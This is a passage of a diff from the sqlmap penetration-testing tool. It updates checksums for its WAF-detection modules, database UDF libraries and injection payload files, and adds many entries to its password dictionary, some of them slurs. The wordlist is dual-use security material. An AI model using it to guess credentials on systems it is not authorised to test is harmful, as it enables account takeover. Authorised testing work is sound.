8e775c25bc9e84891ad6fcb4f0005c23 thirdparty/beautifulsoup/beautifulsoup.py cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py @@ -325,14 +336,14 @@ ee25f2a03587e2c283eab0b36c9e5783 thirdparty/chardet/sbcsgroupprober.py c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py 6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py -658da0466b798cc70f48f35fe49b7813 thirdparty/clientform/clientform.py +3c1b0d627e98643b317244ecfd240bb5 thirdparty/clientform/clientform.py 722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py 0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py -e52252bb81ce1a14b7245b53af33e75f thirdparty/colorama/ansitowin32.py +93bb7f06c8300a91b533ea55e8aead43 thirdparty/colorama/ansitowin32.py ed4d76c08741d34ac79f6488663345f7 thirdparty/colorama/initialise.py c0707ca77ccb4a2c0f12b4085057193c thirdparty/colorama/__init__.py ad3d022d4591aee80f7391248d722413 thirdparty/colorama/win32.py -c690e140157d0caac5824c73688231b3 thirdparty/colorama/winterm.py +cdd682cbf77137ef4253b77a95ed9bd8 thirdparty/colorama/winterm.py be7eac2e6cfb45c5e297ec5eee66e747 thirdparty/fcrypt/fcrypt.py e00542d22ffa8d8ac894c210f38454be thirdparty/fcrypt/__init__.py 2f94ddd6ada38e4091e819568e7c4b7c thirdparty/gprof2dot/gprof2dot.py @@ -354,17 +365,17 @@ ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py 5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py -74fcae36f5a2cc440c1717ae8e3f64c4 thirdparty/socks/socks.py +afd97f26bffa0532ee4eb4f5f8ec1ab7 thirdparty/socks/socks.py d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py -ea649aae139d8551af513769dd913dbf thirdparty/termcolor/termcolor.py +d97198005a387a9d23916c616620ef7f thirdparty/termcolor/termcolor.py bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py 855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py 593473084228b63a12318d812e50f1e2 thirdparty/xdot/xdot.py 08c706478fad0acba049d0e32cbb6411 udf/mysql/linux/32/lib_mysqludf_sys.so_ 1501fa7150239b18acc0f4a9db2ebc0d udf/mysql/linux/64/lib_mysqludf_sys.so_ -7824059e8fc87c4a565e774676e2f1eb udf/mysql/windows/32/lib_mysqludf_sys.dll_ -7fed5b8e99e36ce255c64527ec61a995 udf/mysql/windows/64/lib_mysqludf_sys.dll_ +70d83edb90c4a20bd95eb62f71c99bd0 udf/mysql/windows/32/lib_mysqludf_sys.dll_ +15aaa93872ca87366065568375ad8eb1 udf/mysql/windows/64/lib_mysqludf_sys.dll_ 0ee1310d4e2a4cc5a7295df01a3a78bf udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ c7d9e1fcac5f047edf17d79a825fb64b udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ ec41a080f4570c3866b9a7219f7623c4 udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ @@ -385,88 +396,96 @@ a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqlud d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ 0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -336d0b0d2be333f5a6184042c85464fd waf/360.py -667cacdcd4ba650c9a436f081a79cd64 waf/airlock.py -003cc986b2f5899fe3c85b6309c4b556 waf/anquanbao.py -b61329e8f8bdbf5625f9520ec010af1f waf/armor.py -dec64f18c23962d279cc1cde6469afed waf/asm.py -6ea7b4ff5f111acb0b24186ef82c3f2d waf/aws.py -ef722d062564def381b1f96f5faadee3 waf/baidu.py -07bc4b531d2353c9acfbfcada94ff12b waf/barracuda.py -82efee4639f7be75041c0145a6bc8578 waf/bigip.py -6a2834daf767491d3331bd31e946d540 waf/binarysec.py -41e399dbfe7b904d5aacfb37d85e1fbf waf/blockdos.py -2f3bbf43be94d4e9ffe9f80e8483d62f waf/ciscoacexml.py -21b8203fdaaaac3cb7c84fa4dc0627f6 waf/cloudflare.py -b16b1c15532103346d5e2f5b8bd1ed36 waf/cloudfront.py -ac96f34c254951d301973617064eb1b5 waf/comodo.py -56d58c982c2cf775e0f8dc6767f336fd waf/datapower.py -1538b661e35843074f4599be93b3fae9 waf/denyall.py -aade02eb8f6a4a214a53db0fd0f2aae6 waf/dosarrest.py -357cbc0a17a44e4f64062b799c718e0b waf/dotdefender.py -ad20145a12cff50d49085ed06c8e422b waf/edgecast.py -954bebd4a246d8b88794de00ccaecd3b waf/expressionengine.py -a2ce6cde682f78e1fd561dc40611877e waf/fortiweb.py -eb56ac34775cc3c5f721ec967d04b283 waf/generic.py -1c70655551b8296ceeb19292a342e620 waf/hyperguard.py -525483047474e6f15d9898b525bdafd3 waf/incapsula.py -1e5532ede194ac9c083891c2f02bca93 waf/__init__.py -30ae98958fb35061d9a4145cc74c0489 waf/isaserver.py -5a5c9452b9779bf39c208ebe26c98fdb waf/jiasule.py -898f53c12133da3e946301f4aa97d538 waf/knownsec.py -81e6bf619c7bb73c4b62e2439e60e95a waf/kona.py -4906ab7bea7f6715f5796933f1a89381 waf/modsecurity.py -d09a50713daf3c0a2594ed4f50c57adb waf/naxsi.py -bf573d01d56e585f4ad57132bc594934 waf/netcontinuum.py -cb2f1516867684042f580e02138463de waf/netscaler.py -63b3cc819f432a32a403e24a00ab4d23 waf/newdefend.py -a925b2979c8e8aafb9e9a338ba4da6cf waf/nsfocus.py -ad7fe23004f8e0d02534c7baa877add3 waf/paloalto.py -856e34d47fedfe96039a6a7807f9605a waf/profense.py -166eb53544536e3e86223d513b8b688d waf/proventia.py -78a40eca7ddd14c4eaf911de7748b487 waf/radware.py -f5d53758d2008195609557112ce8e895 waf/requestvalidationmode.py -022956799ff08db1a39fe1484d949e54 waf/safe3.py -67cdf508e7b1f69ddf622a87e0e5e4e8 waf/safedog.py -d1b67820442199181815ec3fce27e582 waf/secureiis.py -34f0ec775835744bed601ef7c7a21c9d waf/senginx.py -1508a5200534b5273b66cecfd299e53e waf/sitelock.py -b088cf83c1a681d143e7eaea43f52b80 waf/sonicwall.py -4c412bc70007e6108d109e2911f2cefe waf/sophos.py -0e244e097a648158948dc8bb2351c781 waf/stingray.py -d5a5cef222f0e27f47bec3c4228e255e waf/sucuri.py -46224e3fa4b819da227c50fd45155823 waf/tencent.py -dffa9cebad777308714aaf83b71635b4 waf/teros.py -b37210459a13de40bf07722c4d032c33 waf/trafficshield.py -fe01932df9acea7f6d23f03c6b698646 waf/urlscan.py -a687449cd4e45f69e33b13d41e021480 waf/uspses.py -814fcc4ab087fb181ddad5fc12bd3d53 waf/varnish.py -20840afc269920826deac2b6c00d6b9c waf/wallarm.py -11205abf397ae9072adc3234b656ade9 waf/watchguard.py -9bf34539f382987490d2239d8ef0a651 waf/webappsecure.py -5b1eefdc39d449a74fce0564364b0e09 waf/webknight.py -11a5c6b10ced11e505a74e36ee2503b3 waf/wordfence.py -68e332530fab216d017ede506c3fec2f waf/yundun.py -bea35ba732ccc9548e6c4023cea6832b waf/yunsuo.py -705ac8663513c12150cb5623ef4a04fb waf/zenedge.py -e87d59af23b7b18cd56c9883e5f02d5c xml/banner/generic.xml +129c2436cf3e0dd9ba0429b2f45a0113 waf/360.py +2d63c46bed78aec2966a363d5db800fd waf/aesecure.py +2add09865acdb6edc40d326446ac6e40 waf/airlock.py +94eec6c5d02357596292d36a8533f08f waf/anquanbao.py +7ab1a7cd51a02899592f4f755d36a02e waf/approach.py +425f2599f57ab81b4fff67e6b442cccc waf/armor.py +fac23fc2e564edaf90a4346f3ee525b0 waf/asm.py +9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py +29b14801171574a3d92a30542a32be54 waf/baidu.py +4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py +2bb132ecea25e947e7e82e32e7dd6b3a waf/bigip.py +742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py +ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py +2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py +5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py +a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py +af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py +8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py +5672c1ae038dcfc523a6d82d9875025c waf/cloudfront.py +847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py +f7571543ccb671a63a8139e375d6a4f2 waf/crawlprotect.py +f20b14ca9f7c2442fd1e9432d933a75b waf/datapower.py +e49bb75985f60556b4481dc085f3c62b waf/denyall.py +dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py +2e8bf326975edcb4d627493c46c6807c waf/dosarrest.py +886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py +a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py +17e7ac56629b25a9ea8cfe01c3604745 waf/expressionengine.py +588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py +0e9eb20967d2dde941cca8c663a63e1f waf/generic.py +2aa7775dac8df4a3cdb736fdf51dc9cb waf/hyperguard.py +1adbd0c470d1bbcec370722f05094255 waf/incapsula.py +fb6be55d21a70765e35549af2484f762 waf/__init__.py +a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py +ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py +f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py +d50d82bec48814eb5b699d302dbdae9a waf/kona.py +10b1c6891494b780d1966e47fca2b58a waf/modsecurity.py +78af8e791207db9723a14bddeb7524af waf/naxsi.py +504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py +47ef4146cac17e3244bbc1a93fb51942 waf/netscaler.py +84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py +69fc40e85751279e9018d643742db04e waf/nsfocus.py +7ff3c93f2c77a984ebbf217c7c38a796 waf/paloalto.py +2979bb64c24256a83625d75a385dde9b waf/profense.py +8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py +ac60456fe7af4eb501d448910e98ee4b waf/radware.py +dba6a3b52851d2d7a0a1ab83a51caa5a waf/reblaze.py +987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py +2a7b234e903d13b3c21d6c17e05d1c46 waf/safe3.py +4382cb217354d816580ee07178d0a8c7 waf/safedog.py +ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py +ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py +4d79866c7cff0d7650a22d0a85126c05 waf/sitelock.py +a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py +45683bfe7a428f47745416c727a789bd waf/sophos.py +a0aa5997d0d5db18920840220dc4ad36 waf/stingray.py +74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py +205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py +ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py +ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py +876c746d96193071271cb8b7e00e1422 waf/urlscan.py +45f28286ffd89200d4c9b6d88a7a518f waf/uspses.py +2d9d9fa8359a9f721e4b977d3da52410 waf/varnish.py +67df54343a85fe053226e2a5483b2c64 waf/wallarm.py +6aad5ef252bf428e9bbebe650c0cf67e waf/watchguard.py +c8dcaa89f6cde684a578fdc2e9ab2bb8 waf/webappsecure.py +a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py +16e421475ff62b203298e669edca7b40 waf/wordfence.py +e16122cb40e5f3a66cba359cfb672bd2 waf/yundun.py +a560bee3e948b97af2c88805933dcaad waf/yunsuo.py +c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py +e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml -b8b56f4aa34bf65365808919b97119a7 xml/banner/mysql.xml +7b21aeb3ad66d7686eacd23a6346292c xml/banner/mysql.xml 9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml -d90fe5a47b95dff3eb1797764c9db6c5 xml/banner/postgresql.xml -b07b5c47c751787e136650ded060197f xml/banner/server.xml +c26cd4fa986ddc9f6d92dd87c8fc61cb xml/banner/postgresql.xml +5f8975d03665aad58c3ee8acea85b06b xml/banner/server.xml d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml -2d53fdaca0d7b42edad5192661248d76 xml/banner/set-cookie.xml +5fa1805d3007c68b051f2c70afcf41ed xml/banner/set-cookie.xml d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml 350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml -817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml -fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml -9567590d35dfd9f214b9979e6000b139 xml/errors.xml +ccb5e02a692f75d11b7fd00f1db48bf5 xml/banner/x-powered-by.xml +385570003bf7d84f2502191eae8268c6 xml/boundaries.xml +4df7176815d874cf99649201caf10642 xml/errors.xml a279656ea3fcb85c727249b02f828383 xml/livetests.xml -14a2abeb88b00ab489359d0dd7a3017f xml/payloads/boolean_blind.xml -b5b8b0aebce810e6cdda1b7106c96427 xml/payloads/error_based.xml +11547289b99eaced5b55185a3230529a xml/payloads/boolean_blind.xml +0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml 06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml -3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml -c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml +82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml +92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml -775ed5c7e1340f76f17f6186abbd8c92 xml/queries.xml +7bbf2a82593efffc68e8001299a5691f xml/queries.xml diff --git a/txt/common-columns.txt b/txt/common-columns.txt index bc9f0a0e2f2..ad302d3b302 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission id @@ -2601,3 +2601,7 @@ waktu # WebGoat cookie login_count + +# Misc + +u_pass \ No newline at end of file diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt index e4f89aafe9b..874bd83e27f 100644 --- a/txt/common-outputs.txt +++ b/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/txt/common-tables.txt b/txt/common-tables.txt index 184ee14d7a1..0067d971675 100644 --- a/txt/common-tables.txt +++ b/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission users diff --git a/txt/keywords.txt b/txt/keywords.txt index f044faa26da..0dbc046b00c 100644 --- a/txt/keywords.txt +++ b/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/txt/smalldict.txt b/txt/smalldict.txt index 075a14e2cbd..7e153f7be06 100644 --- a/txt/smalldict.txt +++ b/txt/smalldict.txt @@ -18,6 +18,7 @@ 01011980 01012011 010203 +0123456789 06071992 098765 0987654321 @@ -69,6 +70,7 @@ 12345678 123456789 1234567890 +12345678910 123456789a 123456789q 123456a @@ -86,6 +88,7 @@ 123asdf 123go 123qwe +124578 12axzas21a 12qwaszx 1313 @@ -96,6 +99,7 @@ 13579 1412 141414 +142536 1430 147147 147258 @@ -145,6 +149,7 @@ 1994 1996 1a2b3c +1a2b3c4d 1chris 1kitty 1p2o3i @@ -172,6 +177,7 @@ 2252 232323 242424 +246810 252525 256879 2kids @@ -179,6 +185,7 @@ 3112 3141 315475 +321321 333 3333 33333 @@ -198,6 +205,7 @@ 444444 4444444 44444444 +456123 456789 4788 4815162342 @@ -228,6 +236,7 @@ 6969 696969 69696969 +741852 741852963 753951 7654321 @@ -261,9 +270,11 @@ 999999 9999999 99999999 +999999999 a a12345 a123456 +a1234567 a1b2c3 a1b2c3d4 aa @@ -280,6 +291,7 @@ abby abc abc123 ABC123 +abc12345 abcd abcd123 abcd1234 @@ -288,6 +300,7 @@ abcdef Abcdef abcdefg Abcdefg +abcdefgh abgrtyu abigail abm @@ -330,11 +343,14 @@ agustin ahl ahm airborne +airforce airoplane +airplane airwolf ak akf7d98s2 aki123 +alabama alaska albert alberto @@ -345,6 +361,7 @@ alex1 alexande alexander alexandr +alexandra alexis Alexis alfaro @@ -373,18 +390,22 @@ altamira althea altima altima1 +always alyssa +amadeus amanda amanda1 amateur amazing amber +amelia amelie america american amigos amour ams +amsterdam amv amy anaconda @@ -394,18 +415,23 @@ andre andre1 andrea andrea1 +andreas +andres andrew andrew! Andrew andrew1 andrey andromed +andromeda andy angel angel1 angela angelica +angelina angelito +angelo angels angie angie1 @@ -432,6 +458,7 @@ apollo apollo13 apple apple1 +apple123 apple2 applepie apples @@ -495,6 +522,7 @@ asp aspateso19 aspen ass +assassin asshole assman assmunch @@ -502,12 +530,17 @@ ast asterix ath athena +atlanta +atlantis attila audiouser +audrey august august07 aurelie +aurora austin +australia autumn avalon avatar @@ -540,6 +573,7 @@ bambam bambi bamboo banana +bananas bandit bar baraka @@ -567,6 +601,7 @@ batman batman1 baxter bball +bbbbbb bc4j beach beaches @@ -593,6 +628,7 @@ becca beebop beer belgium +believe belize bella belle @@ -604,8 +640,10 @@ benji benny benoit benson +bentley beowulf berenice +berlin bernard bernardo bernie @@ -619,6 +657,7 @@ betito betsy betty bharat +bianca bic bichilora bichon @@ -658,6 +697,7 @@ birthday bis biscuit bishop +bismillah Bismillah bisounours bitch @@ -668,6 +708,7 @@ bitter biv bix biz +blabla black blackjack blah @@ -675,6 +716,7 @@ blahblah blanche blazer blessed +blessing blewis blinds blink182 @@ -693,6 +735,7 @@ bluebird blueeyes bluefish bluejean +bluemoon blues bluesky bmw @@ -734,6 +777,7 @@ boston Boston boulder bourbon +bowling boxer boxers bozo @@ -744,9 +788,11 @@ brandi brandon brandon1 brandy +brasil braves brazil brenda +brendan brent brewster brian @@ -757,6 +803,7 @@ brio_admin britain brittany Broadway +broken broker bronco broncos @@ -764,7 +811,10 @@ bronte brooke brooklyn brother +brothers +brownie bruce +brucelee brujita bruno brutus @@ -801,6 +851,7 @@ buster butch butler butter +buttercup butterfly butthead button @@ -833,6 +884,7 @@ canada cancer candy canela +cannabis cannon cannondale canon @@ -857,18 +909,22 @@ caroline carolyn carrie carrot +carson carter cartman cascade casey +casino Casio casper +cassandra cassie castle cat catalina catalog catch22 +catdog catfish catherine cathy @@ -885,7 +941,9 @@ cdemoucb cdouglas ce cecile +cecilia cedic +celeste celica celine celtic @@ -922,6 +980,7 @@ charlie Charlie charlie1 charlotte +charmed chat cheese cheese1 @@ -935,12 +994,15 @@ chester chester1 chevelle chevy +cheyenne chiara chicago +chichi chicken chicken1 chico chiefs +children china chinacat chinook @@ -963,6 +1025,8 @@ christ1 christia christian christin +christina +christine christmas christoph christopher @@ -976,6 +1040,7 @@ cinder cindy cindy1 cinema +cinnamon circuit cirque cirrus @@ -995,9 +1060,13 @@ claude claudel claudia clave +clayton cleo +cleopatra clerk cliff +clifford +clinton clipper clock cloclo @@ -1011,6 +1080,7 @@ cobra cocacola cock coco +coconut codename codeword cody @@ -1019,6 +1089,7 @@ coke colette colleen college +collins color colorado colors @@ -1066,9 +1137,11 @@ corvette corwin cosmo cosmos +cotton cougar Cougar cougars +counter country courier courtney @@ -1082,10 +1155,12 @@ craig crawford crazy cream +creation creative Creative crescent cricket +crimson cristian cristina cross @@ -1146,6 +1221,7 @@ daisy dakota dale dallas +damien dammit damogran dan @@ -1156,6 +1232,7 @@ danger daniel Daniel daniel1 +daniela danielle danny dantheman @@ -1165,6 +1242,7 @@ Darkman darkness darkside darkstar +darling darren darryl darwin @@ -1180,6 +1258,7 @@ dawn daytek dbsnmp dbvision +dddddd dead deadhead dean @@ -1192,6 +1271,7 @@ deedee deeznuts def default +defender delano delete deliver @@ -1214,6 +1294,8 @@ des des2k desert design +designer +desire deskjet desktop destiny @@ -1227,6 +1309,7 @@ dexter dharma diablo diamond +diamonds diana diane dianne @@ -1239,6 +1322,8 @@ digital dilbert dillweed dim +dingdong +dinosaur dip dipper director @@ -1246,6 +1331,7 @@ dirk dirty disco discoverer_admin +discovery disney dixie dixon @@ -1286,6 +1372,7 @@ doudou doug dougie douglas +download downtown dpfpass draft @@ -1299,6 +1386,7 @@ dreams dreamweaver driver drowssap +drpepper drummer dsgateway dssys @@ -1345,6 +1433,7 @@ einstein ejb ejsadmin ejsadmin_password +elaine electric element elephant @@ -1365,6 +1454,7 @@ e-mail emerald emily eminem +emmanuel emmitt emp empire @@ -1372,7 +1462,9 @@ enamorada energy eng engage +engineer england +english eni enigma enjoy @@ -1384,13 +1476,16 @@ eric1 erin ernie1 erotic +escape escort escort1 estefania estelle +esther Esther estore estrella +eternity etoile eugene europe @@ -1428,9 +1523,13 @@ farmer farout farside fatboy +fatcat +father +fatima faust fdsa fearless +february feedback felicidad felipe @@ -1446,14 +1545,17 @@ ferris fiction fidel Figaro +fighter fii files finance +finger finprod fiona fire fireball firebird +firefly fireman firenze first @@ -1477,6 +1579,7 @@ flight flip flipper flm +florence florida florida1 flower @@ -1502,6 +1605,7 @@ ford forest forever forever1 +forget Fortune forum forward @@ -1530,6 +1634,7 @@ frederic free freebird freedom +freedom1 freeman freepass freeuser @@ -1554,6 +1659,7 @@ frogs front242 Front242 frontier +frosty fte ftp fubar @@ -1597,6 +1703,7 @@ games gammaphi gandalf Gandalf +gangster garcia garden garfield @@ -1605,6 +1712,7 @@ gargoyle garlic garnet garou324 +garrett garth gary gasman @@ -1626,6 +1734,7 @@ gerald german germany germany1 +geronimo Geronimo getout gfhjkm @@ -1641,6 +1750,7 @@ gilgamesh gilles ginger Gingers +giovanni girl girls giselle @@ -1651,6 +1761,7 @@ gl glenn glider1 global +gloria gma gmd gme @@ -1666,6 +1777,8 @@ goaway goblin goblue gocougs +goddess +godfather godisgood godiva godslove @@ -1674,9 +1787,11 @@ goethe gofish goforit gold +goldberg golden Golden goldfish +goldie golf golfer gollum @@ -1691,10 +1806,12 @@ google goose gopher gordon +gorilla gpfd gpld gr grace +gracie graham gramps grandma @@ -1718,10 +1835,12 @@ greta gretchen Gretel gretzky +griffin grizzly groovy grover grumpy +guardian guess guest guido @@ -1748,12 +1867,16 @@ hamilton hamlet hammer Hammer +hamster +handsome hank hanna hannah +hannibal hannover23 hansolo hanson +happiness happy happy1 happy123 @@ -1764,6 +1887,7 @@ harley Harley HARLEY harley1 +harmony haro harold harriet @@ -1794,6 +1918,7 @@ helen helena helene hell +hellfire hello Hello hello1 @@ -1810,6 +1935,7 @@ henry Henry hentai herbert +hercules herman hermes hermosa @@ -1833,8 +1959,10 @@ hockey hockey1 hola holiday +holland hollister1 holly +hollywood home home123 homebrew @@ -1858,6 +1986,7 @@ horse horses hosehead hotdog +hotmail hotrod hottie house @@ -1909,6 +2038,7 @@ igi igs iguana igw +ihateyou ihavenopass ikebanaa iknowyoucanreadthis @@ -1926,13 +2056,16 @@ imageuser imagine imc imedia +immortal impact impala +imperial imt indian indiana indigo indonesia +inferno infinity info informix @@ -1965,6 +2098,7 @@ irmeli ironman isaac isabel +isabella isabelle isc island @@ -1998,6 +2132,7 @@ jan jane Janet janice +january japan jared jasmin @@ -2027,14 +2162,17 @@ jenny1 jensen jer jer2911 +jeremiah jeremy jericho +jerome jerry Jersey jesse jesse1 jessica Jessica +jessica1 jessie jester jesus @@ -2052,6 +2190,7 @@ jimbo jimbob jimi jimmy +jjjjjj jkl123 jkm jl @@ -2059,6 +2198,7 @@ jmuser joanie joanna Joanna +joanne joe joel joelle @@ -2108,10 +2248,12 @@ julie julie1 julien juliet +julius jumanji jumbo jump junebug +jungle junior juniper jupiter @@ -2121,12 +2263,16 @@ justice justice4 justin justin1 +justine juventus +kaiser kakaxaqwe kakka kalamazo kali +kamikaze kangaroo +karate karen karen1 karin @@ -2142,6 +2288,7 @@ kathy katie Katie katie1 +katrina kawasaki kayla kcin @@ -2165,6 +2312,7 @@ ketchup kevin kevin1 kevinn +keyboard khan kidder kids @@ -2176,7 +2324,9 @@ kimberly king kingdom kingfish +kingkong kings +kingston kirill kirk kissa2 @@ -2198,6 +2348,7 @@ koko kombat kramer kris +krishna kristen kristi kristin @@ -2206,6 +2357,7 @@ kristine kwalker l2ldemo lab1 +labrador labtec lacrosse laddie @@ -2217,6 +2369,8 @@ lalala lambda lamer lance +lancelot +lancer larry larry1 laser @@ -2248,6 +2402,8 @@ lemon leo leon leonard +leonardo +leopard leslie lestat lester @@ -2265,6 +2421,7 @@ library life lifehack light +lightning lights lima lincoln @@ -2298,6 +2455,7 @@ loki lol123 lola lolita +lollipop london lonely lonestar @@ -2305,6 +2463,7 @@ longer longhorn looney loren +lorenzo lori lorna lorraine @@ -2316,6 +2475,7 @@ lotus lou louis louise +loulou love love123 lovelove @@ -2327,6 +2487,7 @@ loverboy lovers loveyou loveyou1 +loving lucas lucia lucifer @@ -2346,15 +2507,18 @@ macross macse30 maddie maddog +madeline Madeline madison madman madmax madoka madonna +madrid maggie magic magic1 +magnolia magnum maiden mail @@ -2371,6 +2535,7 @@ mallorca manag3r manageme manager +manchester manolito manprod manson @@ -2388,6 +2553,9 @@ maria maria1 mariah mariah1 +marian +mariana +marianne marie marie1 marielle @@ -2398,10 +2566,12 @@ mariner marines marino mario +marion mariposa mark mark1 market +markus marlboro marley mars @@ -2411,6 +2581,8 @@ martha martin martin1 martina +martinez +martini marty marvin mary @@ -2418,6 +2590,7 @@ maryjane master Master master1 +masters math matrix matt @@ -2465,6 +2638,7 @@ mercedes mercer mercury merde +meredith merlin merlot Merlot @@ -2484,6 +2658,7 @@ miamor michael Michael michael1 +michaela michal michel Michel @@ -2503,6 +2678,7 @@ midori midvale midway migrate +miguel miguelangel mikael mike @@ -2543,6 +2719,7 @@ mnbvcxz mobile mobydick modem +mohammed moikka mojo mokito @@ -2559,6 +2736,7 @@ money1 money159 mongola monica +monika monique monisima monitor @@ -2579,6 +2757,7 @@ mookie moomoo moon moonbeam +moonlight moore moose mopar @@ -2589,10 +2768,12 @@ morgan moroni morpheus morris +morrison mort mortimer mot_de_passe mother +motherfucker motor motorola mountain @@ -2620,16 +2801,20 @@ munchkin murphy murray muscle +mushroom music mustang mustang1 mwa mxagent +mylove mypass mypassword mypc123 myriam +myself myspace1 +mystery nadia nadine naked @@ -2642,6 +2827,7 @@ napoleon naruto nascar nat +natalia nataliag natalie natasha @@ -2667,6 +2853,7 @@ nellie nelson nemesis neotix_sys +neptune nermal nesbit nesbitt @@ -2676,6 +2863,7 @@ network neutrino new newaccount +newcastle newcourt newlife newpass @@ -2695,11 +2883,13 @@ Nicholas nichole nick nicklaus +nicolas nicole nicole1 nigel nigger nigger1 +nightmare nightshadow nightwind nike @@ -2754,6 +2944,7 @@ oas_public oatmeal oaxaca obiwan +oblivion obsession ocean ocitest @@ -2775,6 +2966,7 @@ okb okc oke oki +oklahoma oko okr oks @@ -2798,6 +2990,7 @@ open openspirit openup opera +operator opi opus oracache @@ -2825,10 +3018,12 @@ ordplugins ordsys oregon oreo +original orion orlando orville oscar +osiris osm osp22 ota @@ -2836,8 +3031,10 @@ otalab otter ou812 OU812 +outlaw outln overkill +overlord owa owa_public owf_mgr @@ -2848,6 +3045,7 @@ ozp ozs ozzy pa +pa55word paagal pacers pacific @@ -2865,6 +3063,7 @@ pamela Pamela pana panama +panasonic pancake panda panda1 @@ -2874,6 +3073,7 @@ pantera panther panthers panties +panzer papa paper papito @@ -2894,9 +3094,11 @@ pass pass1 pass12 pass123 +pass1234 passion passport passw0rd +Passw0rd passwd passwo1 passwo2 @@ -2908,13 +3110,16 @@ password. Password PASSWORD password1 +Password1 password12 password123 password2 password3 +passwort pastor pat patches +patience patoclero patricia patrick @@ -2937,10 +3142,12 @@ peanuts Peanuts pearl pearljam +pebbles pedro pedro1 peekaboo peewee +pegasus peggy pekka pelirroja @@ -2966,6 +3173,7 @@ perlita perros perry person +personal perstat petalo pete @@ -2981,9 +3189,11 @@ phialpha phil philip philips +phillip phillips phish phishy +phoebe phoenix Phoenix phoenix1 @@ -3006,6 +3216,8 @@ pigeon piglet Piglet pimpin 